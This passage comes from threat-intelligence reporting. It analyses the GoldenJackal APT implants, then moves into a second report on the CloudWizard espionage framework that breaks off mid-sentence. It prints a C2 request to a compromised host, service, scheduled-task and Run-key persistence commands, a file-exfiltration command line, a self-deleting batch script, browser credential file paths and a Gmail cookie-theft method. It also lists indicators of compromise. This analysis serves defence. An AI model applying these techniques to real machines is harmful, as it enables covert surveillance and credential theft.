POST /wp-includes/class-wp-network-statistics.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: multipart/form-data; boundary=----2c0272b325864985abf2677460a9b07a Accept-Language: en-GB,en;q=0.5 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0, no-cache Pragma: no-cache Host: finasteridehair[.]com Content-Length: 154 Expect: 100-continue ------2c0272b325864985abf2677460a9b07a Content-Disposition: form-data; name="adv" %ENCODED_DATA% ------2c0272b325864985abf2677460a9b07a

A valid response should in turn be formed in the following way:

<!-- DEBUGDATA::%ENCODED_DATA% -->

The response is decoded with base64: the resulting payload is an array of strings, where the used delimiter is the standard Windows new line sequence – “\r\n”. Each line is decoded again with base64, decrypted with DES, and decompressed with the GZIP algorithm.

Each command has the following structure:

Command structure

The command type must be equal to one of the following codes:

Command Description 00 Execute – Execute an arbitrary program with the specified arguments. If the attacker sets the NoWait flag to False, the malware redirects the process output, reads the data and forwards them to the C2. 01 Download – Read a file from the local system and upload it to the server. 02 Upload – Save received data to the local system using the filepath specified by the attacker.

The Command Data field is intended to carry information on the command arguments and has a different structure for each action type, as specified below:

• Execute
  
• Download
  
• Upload
  

The command results are usually composed into a message that also includes the values of the underlying command type and command ID, which uniquely identifies an instance of a command issued to the malware. The three values are compressed with GZIP, encrypted with DES, and encoded with base64.

The resulting payload is concatenated with the BOT_ID using the “|” char, encoded again with base64, after which it gets uploaded to the remote server using the aforementioned POST request format.

Installer mode

Some variants can infect the system, creating a copy of the malware in a specific location and guaranteeing its persistence.

The malware location is selected with a specific procedure. It enumerates all subdirectories in CommonApplicationData and randomly selects one to which its copy will be saved. The generated file name will be suffixed with the subdirectory’s names and appended with another static value, Launcher.exe, as outlined below:

Selected directory: C:\ProgramData\Windows App Certification Kit Launcher Malware copy: "C:\ProgramData\Windows App Certification Kit Launcher\WindowsAppCertificationKitLauncher.exe"

If the operation succeeds, it also changes the new file timestamp and makes it the same as that of the selected subdirectory.

If the operation fails, it randomly selects another directory and tries again to copy the malware.

If the operation fails with all subdirectories, it tries to use a list of hard-coded directory names:

• Google
• Viber
• AdGuard
• WinZip
• WinRAR
• Adobe
• CyberLink
• Intel

If all the previous attempts fail, it tries to use the same procedure in the following locations:

• ApplicationData
• LocalApplicationData
• Temp

Persistence

The malware’s persistence is usually guaranteed with one of the following mechanisms:

• Service installation
• Creation of a new Windows registry key value
• Creation of a new scheduled task.

The service is usually installed by the malware with the execution of the Windows sc.exe utility.

sc create "[MALWARE_NAME_NO_EXT]" binpath= "[MALWARE_FULL_PATH]" /[ARGUMENT]" displayname= "WORKPATH" type= own start= auto sc description "[MALWARE_NAME_NO_EXT]" "This service keeps your installation up to date with the latest enhancements and security fixes." sc start "[MALWARE_NAME_NO_EXT]"

The registry value is equal to the copied malware file name, without the extension, and is stored under the following key:

Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Value name: "[MALWARE_NAME_NO_EXT]" Value data: "[MALWARE_FULL_PATH] [ARGUMENT]"

The scheduled task is created using a hard-coded XML template that is modified at runtime and dropped in the file system using the same malware file path, but with a different extension, .xml instead of .exe.

The generated XML file is then used with the Windows schtasks.exe utility to create the task.

For example:

schtasks.exe /create /f /tn "Adobe Update" /xml "C:\ProgramData\Adobe\adobeupd.xml"

The task and service description change according to the variant.

JackalSteal

JackalSteal is another implant usually deployed on a few compromised machines that is used to find files of interest on the target’s system and exfiltrate them to the C2 server.

This tool can be used to monitor removable USB drives, remote shares, and all logical drives in the targeted system. The malware can work as a standard process or as a service. It cannot maintain persistence, so it must be installed by another component.

JackalSteal starts its execution by parsing the arguments.

Option Description -n a unique identifier value for the configured profile -p directory path to inspect -s maximum size of requested files -d number of days since the last write of the requested files -m a comma-separated list of string masks to look for using a regular expression within the configured directory -w time interval in seconds between consecutive directory scans for the configured profile -e exclude path from the scanning activities /0 run as standard process /1 run as a service

These options allow the attacker to specify the ‘profile’, which defines what files are of interest to the attackers. The profile consists of an ID and a list of patterns. Each pattern contains a list of options with the following properties:

Property Description Path target paths credentials user and password used to access a remote share Masks string with wildcard and mask characters that can be used to match any set of files using a regular expression MaxSize maximum size of a file Days the number of days since the file was last written Interval the time interval between two consecutive path scans Exclude paths that must be excluded during scanning activities

The command used to configure the JackalSteal component is as follows:

%TEMP%\\setup01.exe -p all -p usb -e Windows -e \"Program Files*\" -e ProgramData -e Users\\*\\AppData -e *\\AppData -s 15 -d 30 -w 3600 -m *.doc,*.docx,*.pdf,*.jpg,*.png,*.tif,*.tiff,*.txt,*.ppt,*.pptx,*.xls,*.xlsx -n 48df302a44c392eb

The unique identifier “–n” is usually the same BOT_ID generated by the JackalControl Trojan.

After argument processing, the malware serializes the data in an XML, encrypts them with DES using a key generated from the ID passed with the “-n” option and stores the resulting payload in the following location: “%ApplicationData%\SNMP\cache\%Filename%”, where %Filename% is a GUID generated from an MD5 of the unique identifier specified by the attacker.

The malware is usually executed with the “/0” or “/1” option and the “-n” option, which is used to load the obtained profile ID. In the second case, it loads the profile from the previously mentioned location and it starts the ‘Watchers’.

A Watcher is an object defined in a class with the same name that runs in a different thread and scans the location according to the specified options. The pattern could represent:

• a simple path in the local filesystem;
• a path on a remote share;
• constant string all;
• constant string usb.

When the pattern equals ‘all’, the malware enumerates all logical drives, and for each one it creates a new Watcher object. When the pattern is ‘usb’, it listens for system events corresponding to the action of creating a new removable drive on the system. When a new drive is detected, it creates a new Watcher object.

Every time a new Watcher is added, the malware notifies the log of the event and sends the information to the remote C2 using HTTP Post requests.

The log is created using the following string as a template:

Path: {0}{1}\r\nMasks: {2}\r\nExclude: {3}\r\nDays: {4}\r\nMaxSize: {5}\r\nInterval: {6}

And is uploaded inside an encrypted payload that contains the following information:

|<AES_Key,AES_IV><Agent_id\\%yyyyMMddHHmmssfff%.log><Log content>|

The AES_Key and AES_IV are generated for each request and are encrypted with the RSA algorithm using a key embedded in the code. The resulting payload is also compressed with the GZIP algorithm.

The Agent_id\\Log_path.log and the Log content data are encrypted with the AES algorithm and compressed with GZIP.

The Watcher objects are responsible for scanning activities. When a Watcher starts, it enumerates all files in the directory and its subdirectories. The scanner can also resolve the .lnk links. When the scanner detects a file that matches the defined properties (mask, days, max size, not in exclusions), it calculates the file content hash, checks if the resulting value is present in a hash table stored in the local cache directory and adds the value if not present. When a new file is detected, the malware uploads the file and the related filepath inside an encrypted payload using the same logic described above.

In this case, the encrypted payload contains the following information:

|<AES_Key,AES_IV><Agent_id\\Local_file_path><File content>|

The Agent_id\\Local_file_path and the File content data are encrypted with the AES algorithm and compressed with GZIP.

JackalWorm

This worm was developed to spread and infect systems using removable USB drives. The program was designed as a flexible tool that can be used to infect systems with any malware.

Its behavior changes according to the parent process.

When the malware is working on a system that is already infected and the parent process is taskeng.exe or services.exe:

1. Monitors removable USB drives
2. When a device is attached, hides the last-modified directory and replaces it with a copy of the worm

The code used to monitor removable USB drives is the same one observed in JackalSteal. It creates a ManagementEventWatcher object, which allows it to subscribe to event notifications that correspond to a given WQL query and the issuing of a callback upon their interception. The query used by the malware instructs the system to check for a logical removable disk creation event every five seconds:

select * from __InstanceCreationEvent within 5 where TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 2

When the malware detects a removable USB storage device, it will copy itself onto it. The path it will copy to is determined by listing all directories and selecting the one that was modified last. It will create a copy of itself on the drive root using the same directory name and change the directory’s attribute to “hidden”. This will result in the actual directory being hidden and replaced with a copy of the malware with the directory name. Moreover, JackalWorm uses an icon mimicking a Windows directory, tricking the user into executing the malware when trying to access a directory.

In the following example, the removable drive “E:” was infected by the malware, which copied itself as Folder1.exe and changed the attributes of Folder1 to hide it:

Infected device

When the malware starts on a clean system and the parent process is explorer.exe and the file is located in a removable drive the behavior is as follows:

1. Opens the hidden directory
2. Performs the actions specified in the configuration files
3. Infects the system with the worm

The configuration files are embedded resources that contain XML data that can be used to instruct the worm to perform some actions:

• Drop a program and guarantee its persistence with a scheduled task
• Drop a program and execute it with the specified arguments
• Execute an existing program with the specified arguments

A valid configuration file looks like this:

<Resource type="install" interval="15" ext="exe" data="rcdata02" />

In this case, the worm was configured to install the PE file stored in another resource “rcdata02”, save it with the extension .exe and create a scheduled task to run it every 15 minutes.

Other valid examples are:

<Resource type="process" file="%TMP%\test.exe" args="" data="rcdata02" />

Drops the PE file stored in another resource “rcdata02” in “%TEMP%\test.exe” and executes it.

<Resource type="process" file="%WINDIR%\system32\ping.exe" args="1.1.1.1"/>

Executes the program “%WINDIR%\system32\ping.exe” with the argument “1.1.1.1”.

In our investigations, we observed only the first example and the malware was configured to install the JackalControl Trojan.

The installation procedure selects the malware location in much the same way as the procedure described in the section above. It differs from the other one because it enumerates the subdirectories in CommonAppData only and copies the file using the subdirectory’s names concatenated with another static value, upd.exe.

If it fails, it tries with a list of hard-coded directory names, which is a bit different from the procedure described above.

• Google
• Mozilla
• Adobe
• Intel
• [Random GUID]

The worm maintains its persistence by creating a scheduled task with a hard-coded XML template dynamically modified at runtime. Once installed, the worm deletes itself from the removable drive by using a batch script. The script is dropped in the local Temp directory with a random name:

@echo off @chcp 65001>nul :check @tasklist | findstr /i "%executingFilename%" >nul @if %errorlevel%==0 goto check @del /f /q /a h "%executingPath%" @del /f /q "%Temp%\%randomname%.bat"

Future removable drives that are attached will be re-infected with JackalWorm.

It is also worth mentioning that this tool seems to be under development. We deduced this by analyzing the embedded .NET resources of the file 5DE309466B2163958C2E12C7B02D8384. Their size is 193973 bytes, which is much bigger than their actual content:

• Rcdata01 – XML config – Size: 67 bytes
• Rcdata02 – JackalControl Trojan – Size: 27136 bytes

It means there are 166770 bytes of unknown data. Most of them are part of the legitimate notepad.exe Windows utility, and specifically, the first 0x6A30 bytes were overwritten. After the legitimate notepad.exe image, we found also the following XML configurations:

<Resource type="scheduler" interval="15" ext="exe" args="" data="notepad" />

<Resource type="process" file="cmd.exe" args="/c echo TEST > %USERPROFILE%\Desktop\test.txt" />

The first XML shows a new type value: ‘scheduler’, which is not specified in the code. The second XML shows that this specific resource was used for testing purposes and the attacker was trying to run cmd.exe to write the word “TEST” in a text file in the desktop: %USERPROFILE%\Desktop\test.txt.

JackalPerInfo

This malware was developed to collect information about the compromised system, as well as a specific set of files that could potentially be used to retrieve stored credentials and the user’s web activities. The attacker named it “perinfo”, a contraction of the program’s main class name PersonalInfoContainer.

Its behaviour changes according to the number of arguments provided during execution. Specifically, when executed with only one argument, the malware collects a predefined set of information and stores it in a binary file compressed with GZIP. The filename is specified in the argument provided. When executed with two arguments, the malware uses the first argument to load a previously generated binary file and extract all the information to a directory specified by the second argument.

By default, the program should be executed with one argument. Once it is executed, the malware starts collecting information about the system using a specific function, GetSysInfo, which collects the following information:

Computer name: %s OS version: %S Domain: %S User: %S Local time: %s Interfaces: %Interface Name% DESC: TYPE: MAC: IP: GW: DNS: DHCP: DOMAIN: Remote IP: Current directory: Drives: C:\ Fixed D:\ CDRom ... Applications: %Installed Application1% %Installed Application2% ... Processes: %Process Name 1% Desc: %s Name: %s Path: %s %Process Name 2% ...

This specific function was also observed in the first JackalControl variants, but was removed from newer variants.

The malware continues its operation by enumerating the logical drives on the system; and for each one it enumerates the files in the root path. The collected info includes the last write time, the filename, and the file size.

It then enumerates the Users directory in the system drive, usually C:\Users\. For each user, it enumerates the content of the following directories:

• Desktop
• Documents
• Downloads
• AppData\Roaming\Microsoft\Windows\Recent

It tries also to acquire the following files:

Desktop\*.txt Documents\*.txt AppData\Local\Microsoft\Windows\WebCache\*.log AppData\Roaming\Microsoft\Windows\Cookies\*.txt AppData\Local\Google\Chrome\User Data\*\Bookmarks AppData\Local\Google\Chrome\User Data\*\Cookies AppData\Local\Google\Chrome\User Data\*\History AppData\Local\Google\Chrome\User Data\*\Login Data AppData\Local\Google\Chrome\User Data\*\Shortcuts AppData\Local\Google\Chrome\User Data\*\Web Data AppData\Roaming\Opera\Opera\*\bookmarks.adr AppData\Roaming\Opera\Opera\*\global_history.dat AppData\Roaming\Mozilla\Firefox\Profiles\*\places.sqlite AppData\Roaming\Mozilla\Firefox\Profiles\*\cookies.sqlite AppData\Roaming\Mozilla\Firefox\Profiles\*\formhistory.sqlite

The malware attempts to steal credentials stored in the victim’s browser databases, as well as other information such as cookies that could be used to gain access to web services.

Finally, it serializes the collected information to a binary format, compresses all the data with the GZIP algorithm, and stores everything in the file specified with the first argument provided by the attacker.

JackalScreenWatcher

This tool is used to collect screenshots of the victim’s desktop and sends the pictures to a remote, hard-coded C2 server:

hxxps://tahaherbal[.]ir/wp-includes/class-wp-http-iwr-client.php

This specific webpage was also used as a C2 for the JackalSteal component, indicating that the tools are probably part of a unique framework.

The malware can handle some arguments that are optional and can be provided as input:

• -r resolution ratio (default 1.0)
• -i interval (default 10 seconds)
• -n specify a custom agent id. By default, this value is equal to: %Hostname%\%Username%

The program’s primary function involves running a thread that scans all displays on the system, checking their dimensions. It then starts an infinite loop, periodically checking if the user is active on the system. Whenever the malware detects user activity, it captures a screenshot and sends it to the remote server.

User activity is detected by monitoring the cursor’s position and checking if it has changed since the last recorded position. After uploading a screenshot, it waits for a specified interval before restarting the loop.

The screenshots are uploaded inside an encrypted payload using HTTP Post requests.

The encrypted payload is similar to that used by JackalSteal and contains the following information:

|<AES_Key,AES_IV><Remote filename><Screenshot>|

AES_Key and AES_IV are encrypted with the RSA algorithm using a key embedded in the code. The resulting payload is also compressed with the GZIP algorithm.

The Remote filename and Screenshot data are encrypted with the AES algorithm and compressed with GZIP. The RSA key is the same as that observed in other JackalSteal components.

Infrastructure

GoldenJackal activity is characterized by the use of compromised WordPress websites as a method to host C2-related logic. We believe the attackers upload a malicious PHP file that is used as a relay to forward web requests to another backbone C2 server.

We don’t have any evidence of the vulnerabilities used to compromise the sites. However, we did observe that many of the websites were using obsolete versions of WordPress and some had also been defaced or infected with previously uploaded web shells, likely as a result of low-key hacktivist or cybercriminal activity. For this reason, we assess that the vulnerabilities used to breach these websites are known ones rather than 0-days.

The remote webpage usually replies with a fake “Not Found” page. The HTTP response status code is “200”, but the HTTP body shows a “Not found” webpage.

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL %FILE PATH% was not found on this server.</p> <hr> <address>%SERVER%</address> </body></html>

In specific cases, the attacker provides a valid response with a list of commands. In those cases, the previous body is followed by a long list of standard Windows new line sequences – “\r\n” – and finally the previously mentioned delimiter:

<!-- DEBUGDATA::%ENCODED_DATA% -->

Victims

Over the years, we have observed a limited number of attacks against government and diplomatic entities in the Middle East and South Asia. We observed victims in: Afghanistan, Azerbaijan, Iran, Iraq, Pakistan and Turkey.

Geography of victims

Attribution

We are unable to link GoldenJackal to any known actor.

During our investigations, we observed some similarities between GoldenJackal and Turla. Specifically, we noticed a code similarity in the victim UID generation algorithm that overlaps somewhat with that used by Kazuar.

Specifically, Kazuar gets the MD5 hash of a predefined string and then XORs it with a four-byte unique “seed” from the machine. The seed is obtained by fetching the serial number of the volume where the operating system is installed.

public static Guid md5_plus_xor(string string_0) { byte[] bytes = BitConverter.GetBytes(parameter_class.unique_pc_identifier); byte[] array = MD5.Create().ComputeHash(get_bytes_wrapper(string_0)); for (int i = 0; i < array.Length; i++) { byte[] array2 = array; int num = i; array2[num] ^= bytes[i % bytes.Length]; } return new Guid(array); }

JackalControl uses an MD5+SHIFT algorithm. It collects a set of information from the machine, including the serial number of the volume where the operating system is installed, to generate a unique seed with the MD5 algorithm. Then it uses the resulting byte array, summing every two consecutive bytes from the resulting MD5 hash and placing the resulting bytes (modulus 256) as the sequence that constructs the final BOT_ID.

Code snippet used to generate the BOT_ID

Moreover, the use of tools developed in .NET and of compromised WordPress websites as C2 is a common Turla TTP.

Last but not least, the groups share an interest in the same targets, and in one specific case we observed that a victim machine was infected with a Turla artifact two months before the GoldenJackal infection.

Despite these similarities, we assessed with low confidence that there is a connection between GoldenJackal and Turla, since neither of these is unique to either threat actor. The use of compromised WordPress websites is not a unique TTP. This technique was also observed in activity by other groups such as BlackShadow, another APT active in the Middle East that uses .NET malware. The code similarities are related to a single function in a .NET program that could be easily copied with a decompiler. It is possible that GoldenJackal used that algorithm as a false flag. Another hypothesis is that the developers behind JackalControl were inspired by Turla and decided to replicate the UID generation algorithm. Finally, the shared interest in the same targets is easily explained by the fact that the victims are high-profile targets that could be considered interesting by different actors.

Conclusions

GoldenJackal is an interesting APT actor that tries to keep a low profile. Despite its long-term activities, which are believed to have started in June 2019, this group and the related samples are still generally unknown.

The group is probably trying to reduce its visibility by limiting the number of victims. According to our telemetry, the number of targets is very low and most of them were related to government or diplomatic entities. Moreover, some of the samples were deployed only on systems that were not protected by Kaspersky during the infection phase. This may indicate that the actor is trying to protect some of its tools and avoid specific security solutions.

Their toolkit seems to be under development – the number of variants shows that they are still investing in it. The latest malware, JackalWorm, appeared in the second half of 2022 and appears to still be in the testing phase. This tool was unexpected because in previous years the attacks were limited to a small group of high-profile entities, and a tool like JackalWorm is probably difficult to bind and can easily get out of control.

More information about GoldenJackal, including IoCs and YARA rules, are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Indicators of compromise MD5 hashes

JackalControl
5ed498f9ad6e74442b9b6fe289d9feb3
a5ad15a9115a60f15b7796bc717a471d
c6e5c8bd7c066008178bc1fb19437763
4f041937da7748ebf6d0bbc44f1373c9
eab4f3a69b2d30b16df3d780d689794c
8c1070f188ae87fba1148a3d791f2523

JackalSteal
c05999b9390a3d8f4086f6074a592bc2

JackalWorm
5de309466b2163958c2e12c7b02d8384

JackalPerInfo
a491aefb659d2952002ef20ae98d7465

JackalScreenWatcher
1072bfeee89e369a9355819ffa39ad20

Legitimate compromised websites

JackalControl C2
hxxp://abert-online[.]de/meeting/plugins[.]php
hxxp://acehigh[.]host/robotx[.]php
hxxp://assistance[.]uz/admin/plugins[.]php
hxxp://cnom[.]sante[.]gov[.]ml/components/com_avreloaded/views/popup/tmpl/header[.]php
hxxp://info[.]merysof[.]am/plugins/search/content/plugins[.]php
hxxp://invest[.]zyrardow[.]pl/admin/model/setting/plugins[.]php
hxxp://weblines[.]gr/gallery/gallery_input[.]php
hxxp://www[.]wetter-bild[.]de/plugins[.]php
hxxps://ajapnyakmc[.]com/wp-content/cache/index[.]php
hxxps://asusiran[.]com/wp-content/plugins/persian-woocommerce/include/class-cache[.]php
hxxps://asusiran[.]com/wp-content/themes/woodmart/inc/modules/cache[.]php
hxxps://croma[.]vn/wp-content/themes/croma/template-parts/footer[.]php
hxxps://den-photomaster[.]kz/wp-track[.]php
hxxps://eyetelligence[.]ai/wp-content/themes/cms/inc/template-parts/footer[.]php
hxxps://finasteridehair[.]com/wp-includes/class-wp-network-statistics[.]php
hxxps://gradaran[.]be/wp-content/themes/tb-sound/inc/footer[.]php
hxxps://mehrganhospital[.]com/wp-includes/class-wp-tax-system[.]php
hxxps://meukowcognac[.]com/wp-content/themes/astra/page-flags[.]php
hxxps://nassiraq[.]iq/wp-includes/class-wp-header-styles[.]php
hxxps://new[.]jmcashback[.]com/wp-track[.]php
hxxps://news[.]lmond[.]com/wp-content/themes/newsbook/inc/footer[.]php
hxxps://pabalochistan[.]gov[.]pk/new/wp-content/cache/functions[.]php
hxxps://pabalochistan[.]gov[.]pk/new/wp-content/themes/dt-the7/inc/cache[.]php
hxxps://pabalochistan[.]gov[.]pk/new/wp-content/themes/twentyfifteen/content-manager[.]php
hxxps://sbj-i[.]com/wp-content/plugins/wp-persian/includes/class-wp-cache[.]php
hxxps://sbj-i[.]com/wp-content/themes/hamyarwp-spacious/cache[.]php
hxxps://sokerpower[.]com/wp-includes/class-wp-header-styles[.]php
hxxps://technocometsolutions[.]com/wp-content/themes/seofy/templates-sample[.]php
hxxps://www[.]djstuff[.]fr/wp-content/themes/twentyfourteen/inc/footer[.]php
hxxps://www[.]perlesoie[.]com/wp-content/plugins/contact-form-7/includes/cache[.]php
hxxps://www[.]perlesoie[.]com/wp-content/themes/flatsome/inc/classes/class-flatsome-cache[.]php

JackalSteal/JackalScreenWatcher C2
hxxps://tahaherbal[.]ir/wp-includes/class-wp-http-iwr-client.php
hxxps://winoptimum[.]com/wp-includes/customize/class-wp-customize-sidebar-refresh.php

Distribution websites
hxxps://www[.]pak-developers[.]net/internal_data/templates/template.html
hxxps://www[.]pak-developers[.]net/internal_data/templates/bottom.jpg

In March 2023, we uncovered a previously unknown APT campaign in the region of the Russo-Ukrainian conflict that involved the use of PowerMagic and CommonMagic implants. However, at the time it was not clear which threat actor was behind the attack. Since the release of our report about CommonMagic, we have been looking for additional clues that would allow us to learn more about this actor. As we expected, we have been able to gain a deeper insight into the “bad magic” story.

While looking for implants bearing similarities with PowerMagic and CommonMagic, we identified a cluster of even more sophisticated malicious activities originating from the same threat actor. What was most interesting about it is that its victims were located not only in the Donetsk, Lugansk and Crimea regions, but also in central and western Ukraine. Targets included individuals, as well as diplomatic and research organizations. The newly discovered campaign involved using a modular framework we dubbed CloudWizard. Its features include taking screenshots, microphone recording, keylogging and more.

Over the years, the infosec community has discovered multiple APTs operating in the Russo-Ukrainian conflict region – Gamaredon, CloudAtlas, BlackEnergy and many others. Some of these APTs have long been forgotten in the past – such as Prikormka (Operation Groundbait), discovered by ESET in 2016. While there have been no updates about Prikormka or Operation Groundbait for a few years now, we discovered multiple similarities between the malware used in that campaign, CommonMagic and CloudWizard. Upon further investigation, we found that CloudWizard has a rich and interesting history that we decided to dig into. Our findings we also shared on the cybersecurity conference Positive Hack Days. You can watch our presentation here.

Initial findings

Our investigation started with telemetry data coming from an active infection, with malware running as a suspicious Windows service named “syncobjsup”. This service was controlled by a DLL with an equally suspicious path “C:\ProgramData\Apparition Storage\syncobjsup.dll”. Upon execution, we found this DLL to decrypt data from the file mods.lrc that is located in the same directory as the DLL. The cipher used for decryption was RC5, with the key 88 6A 3F 24 D3 08 A3 85 E6 21 28 45 77 13 D0 38. However, decryption of the file with the standard RC5 implementation yielded only junk data. A closer look into the RC5 implementation in the sample revealed that it was faulty:

for (i = 0; i < 4; i += 2) { A = buf[i]; B = buf[i + 1]; for (j = 12; j > 0; --j) { v2 = rotate_right(B - S[2 * i + 1], A); B = A ^ v2; A ^= v2 ^ rotate_right(A - S[2 * i], A ^ v2); } }

The bug is in the inner loop: it uses the variable i instead of j.

A search for this incorrect implementation revealed a GitHub gist of the code that has been likely borrowed by the implant’s developers. In the comments to this gist, GitHub users highlight the error:

What is also interesting is that the key from the gist is the same as the one used in the syncobjsup.dll library.

The decrypted file looked to us like a virtual file system (VFS), containing multiple executables and their JSON-encoded configurations:

Each entry in this VFS contains magic bytes (‘CiCi’), a ROR6 hash of the entry name, as well as the entry size and contents.

Inside mods.lrc, we found:

• Three DLLs (with export table names Main.dll, Crypton.dll and Internet.dll);
• A JSON configuration of these DLLs.

The syncobjsup.dll DLL iterates over VFS entries, looking for an entry with the name “Main” (ROR6 hash: 0xAA23406F). This entry contains CloudWizard’s Main.dll orchestrator library, which is reflectively loaded and launched by invoking its SvcEntry export.

Digging into the orchestrator

Upon launching, the orchestrator spawns a suspended WmiPrvSE.exe process and injects itself into it. From the WmiPrvSE.exe process, it makes a backup of the VFS file, copying mods.lrc to mods.lrs. It then parses mods.lrs to obtain all the framework module DLLs and their configurations. As mentioned above, configurations are JSON files with dictionary objects:

{ "Screenshot": { "type": "3", "intervalSec": "4", "numberPack": "24", "winTitle": [ "SKYPE", "VIBER" ] }, "Keylogger": { "bufSize": "100" }, "Microphone": { "intervalSec": "500", "acousticStart": "1" } }

The orchestrator itself contains a configuration with parameters such as:

• Victim ID (e.g., 03072020DD);
• Framework version (latest observed version is 5.0);
• Interval between two consecutive heartbeats.

After launching modules, the orchestrator starts communicating with the attackers by sending heartbeat messages. Each heartbeat is a JSON file with victim information and a list of loaded modules:

{ "name": "<victim_id>", "romoID": "2", "bitOS": "64", "version": "5.0", "serial": "<infection_timestamp>", "keyID": "<key_id>", "ip": "0.0.0.0", "state": [ "Main","Crypton","Internet","Screenshot", "USB","Keylogger","Gmail" ], "state2": [ {"Module": "Main","time_mode": "2","Version": "4.7"}, {"Module": "Crypton","time_mode": "2","Version": "1.0"}, {"Module": "Internet","time_mode": "2","Version": "0.07"}, {"Module": "Screenshot","time_mode": "2","Version": "0.01"}, {"Module": "USB","time_mode": "2","Version": "0.01"}, {"Module": "Keylogger","time_mode": "2","Version": "0.01"}, {"Module": "Gmail","time_mode": "2","Version": "0.06"} ] }

This JSON string is encrypted with the cryptography module (Crypton.dll from the VFS) and sent to the attackers with the internet communication module (Internet.dll).

In response to the heartbeats, the orchestrator receives commands allowing it to perform module management: install, start, stop, delete modules or change their configurations. Each command contains magic bytes (DE AD BE EF) and a JSON string (e.g., {"Delete": ["Keylogger", "Screenshot"]}), optionally followed by a module DLL file.

Encryption and communication

As we have mentioned above, two modules (Crypton.dll and Internet.dll) are bundled with every installation of the CloudWizard framework. The Crypton module performs encryption and decryption of all communications. It uses two encryption algorithms:

• Heartbeat messages and commands are encrypted with AES (the key is specified in the JSON configuration VFS file)
• Other data (e.g., module execution results) is encrypted with a combination of AES and RSA. First, the data is encrypted with a generated pseudorandom AES session key, and then the AES key is encrypted with RSA.

if ( buffers->results.lenstr && buffers->results.str ) { v10 = RSA_Encrypt(AES_KEY, 32, &v8, &v7, pubKey, pubKeySize); if (v10) { free(v8); return v10; } v10 = AES_Encrypt(buffers->results.str, buffers->results.lenstr, &v4, &v6, AES_KEY); if (v10) goto LABEL_11; } if (buffers->state.lenstr && buffers->state.str) { v10 = AES_Encrypt(buffers->state.str, buffers->state.lenstr, &v3, &v5, phpKey); if (v10) goto LABEL_11; } The internet connection module relays the encrypted data to the malware operators. It supports four different communication types:

• Cloud storages: OneDrive, Dropbox, Google Drive
• Web-based C2 server

The primary cloud storage is OneDrive, while Dropbox and Google Drive are used if OneDrive becomes inaccessible. The module’s configuration includes OAuth tokens required for cloud storage authentication.

As for the web server endpoint, it is used when the module can’t access any of the three cloud storages. To interact with it, it makes a GET request to the URL specified in its configuration, getting new commands in response. These commands likely include new cloud storage tokens.

While examining the strings of the network module, we found a string containing the directory name from the developer’s machine: D:\Projects\Work_2020\Soft_Version_5\Refactoring.

Module arsenal

Information gathering is performed through auxiliary DLL modules that have the following exported functions:

Export function Description Start Starts the module Stop Stops the module Whoami Returns JSON-object with information about module
(e.g., {"Module":"Keylogger ","time_mode":"2","Version":"0.01"}).
The time_mode value indicates whether the module is persistent (1 – no, 2 – yes). GetResult Returns results of module execution (e.g. collected screenshots, microphone recordings, etc.). Most modules return results in the form of ZIP archives (that are stored in memory) GetSettings Returns module configuration

Modules can persist upon reboot (in this case they are saved in the mods.lrs VFS file) or executed in memory until the machine is shut down or the module is deleted by the operator.

In total, we found nine auxiliary modules performing different malicious activities such as file gathering, keylogging, taking screenshots, recording the microphone and stealing passwords.

The module that looked most interesting to us is the one that performs email exfiltration from Gmail accounts. In order to steal, it reads Gmail cookies from browser databases. Then, it uses the obtained cookies to access the Gmail web interface in legacy mode by making a GET request to  https://mail.google.com/mail/u/<account ID>/?ui=html&zy=h. When legacy mode is accessed for the first time, Gmail prompts the user to confirm whether they really wants to switch to legacy mode, sending the following webpage in response:

If the module receives such a prompt, it simulates a click on the “I’d like to use HTML Gmail” button by making a POST request to a URL from the prompt’s HTML code.

Having obtained access to the legacy web client, the module exfiltrates activity logs, the contact list and all the email messages.
What’s also interesting is that the code for this module was partially borrowed from the leaked Hacking Team source code.

Back to 2017

After obtaining the CloudWizard’s orchestrator and its modules, we were still missing one part of the infection chain: the framework installer. While searching through older telemetry data, we were able to identify multiple installers that were used from 2017 to 2020. The version of the implant installed at that time was 4.0 (as we wrote above, the most recent version we observed is 5.0).

The uncovered installer is built with NSIS. When launched, it drops three files:

• C:\ProgramData\Microsoft\WwanSvc\WinSubSvc.exe
• C:\ProgramData\Microsoft\MF\Depending.GRL (in other versions of the installer, this file is also placed under C:\ProgramData\Microsoft\MF\etwdrv.dll)
• C:\ProgramData\System\Vault\etwupd.dfg

Afterwards, it creates a service called “Windows Subsystem Service” that is configured to run the WinSubSvc.exe binary on every startup.

It is worth noting that the installer displays a message with the text “Well done!” after infection:

This may indicate that the installer we discovered is used to deploy CloudWizard via physical access to target machines, or that the installer attempts to mimic a Network Settings (as displayed in the window title) configurator.

The old (4.0) and new (5.0) CloudWizard versions have major differences, as outlined in the table below:

Version 4.0 Version 5.0 Network communication and cryptography modules are contained within the main module Network communication and cryptography modules are separate from each other Framework source file compilation directory: D:\Projects\Work_2020\Soft_Version_4\Service Framework source file compilation directory:  D:\Projects\Work_2020\Soft_Version_5\Refactoring Uses RC5 (hard-coded key: 7Ni9VnCs976Y5U4j) from the RC5Simple library for C2 server traffic encryption and decryption Uses RSA and AES for C2 server traffic encryption and decryption (the keys are specified in a configuration file) Attribution magic

After spending considerable time researching CloudWizard, we decided to look for clues that would allow us to attribute it to an already known actor. CloudWizard reminded us of two campaigns observed in Ukraine and reported in public: Operation Groundbait and Operation BugDrop. Operation Groundbait was first described by ESET in 2016, with the first implants observed in 2008. While investigating Operation Groundbait, ESET uncovered the Prikormka malware, which is  “the first publicly known Ukrainian malware that is being used in targeted attacks”. According to ESET’s report, the threat actors behind Operation Groundbait “most likely operate from within Ukraine”.

As for Operation BugDrop, it is a campaign discovered by CyberX in 2017. In their report, CyberX claims (without providing strong evidence) that Operation BugDrop has similarities with Operation Groundbait. And indeed, we have discovered evidence confirming this:

